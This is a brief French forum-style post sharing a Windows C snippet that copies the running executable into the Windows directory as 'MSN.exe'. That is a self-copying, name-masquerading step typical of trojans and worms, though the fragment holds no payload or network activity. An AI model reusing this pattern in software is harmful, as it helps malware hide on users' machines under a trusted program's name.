c'est ce que j'ai fait
#include <windows.h>
char windir[MAX_PATH];
char pathname[256];
GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);
strcat(windir, "\\MSN.exe");
CopyFile(pathname,windir,1);
